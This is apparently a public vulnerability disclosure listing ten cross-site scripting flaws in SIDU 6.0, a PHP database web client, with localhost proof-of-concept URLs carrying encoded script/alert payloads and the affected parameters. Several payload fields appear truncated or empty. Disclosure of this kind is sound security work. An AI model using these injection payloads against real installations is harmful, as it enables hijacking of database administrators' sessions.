##################################################################################################################################
# Exploit Title: SIDU 6.0 Database Web GUI | Cross-Site Scripting
# Date: 17.01.2019
# Exploit Author: Ozer Goker
# Vendor Homepage: http://topnew.net/sidu
# Software Link: http://downloads.sourceforge.net/sidu/sidu60.zip
# Version: 6.0
##################################################################################################################################
Introduction
SIDU is a database front-end tool GUI
SIDU is a FREE database client working via web browser. SIDU is a simple,
intuitive and easy database admin tool. Simply copy SIDU to your website
and run without any setup. Written in PHP.
Vulnerabilities: Cross-Site Scripting
#################################################################################
XSS details:
#################################################################################
XSS1 | Reflected
URL
http://localhost/sidu/db.php?id=1,,,,,%22%3E%3Cscript%3Ealert(1)%3C/script%3E
METHOD
Get
PARAMETER
id
PAYLOAD
">
#################################################################################
XSS2 | Reflected
URL
http://localhost/sidu/tab.php?id=1,%,0,r,sqlite_master%22%3E%3Cscript%3Ealert(2)%3C/script%3E
METHOD
Get
PARAMETER
id
PAYLOAD
">
#################################################################################
XSS3 | Reflected
URL
http://localhost/sidu/tab-new.php?id=2,mysql,,,,%22%3E%3Cscript%3Ealert(3)%3C/script%3E
METHOD
Get
PARAMETER
id
PAYLOAD
">
#################################################################################
XSS4 | Reflected
URL
http://localhost/sidu/user.php?id=2&tab=2&db=%3Cscript%3Ealert(4)%3C/script%3E&userHost=root@127.0.0.1
METHOD
Get
PARAMETER
db
PAYLOAD
#################################################################################
XSS5 | Reflected
URL
http://localhost/sidu/user.php?id=2&tab=2&db=&userHost=%3Cscript%3Ealert(5)%3C/script%3E
METHOD
Get
PARAMETER
userHost
PAYLOAD
#################################################################################
XSS6 | Reflected
URL
http://localhost/sidu/temp.php?id=1,%3Cscript%3Ealert(6)%3C/script%3E
METHOD
Get
PARAMETER
id
PAYLOAD
#################################################################################
XSS7 | Reflected
URL
http://localhost/sidu/imp.php?id=2,test,0,r,&tab=%3Cscript%3Ealert(7)%3C/script%3E
METHOD
Get
PARAMETER
tab
PAYLOAD
#################################################################################
XSS8 | Stored - Create Database
URL
http://localhost/sidu/?id=2
METHOD
Get
PAYLOAD
PoC
Create Database at phpMyAdmin
View Database on SIDU
#################################################################################
XSS9 | Stored - Create Table
URL
http://localhost/sidu/?id=2
METHOD
Get
PAYLOAD
PoC
Create Table at phpMyAdmin
View Table on SIDU
#################################################################################
XSS10 | Reflected
URL
http://localhost/sidu/user.php?id=2&userHost=&user=test&host=%22%3E%3Cscript%3Ealert(10)%3C%2Fscript%3E&pass=&pass2=&cmd=Edit+User
METHOD
Get
PARAMETER
host
PAYLOAD
">
#################################################################################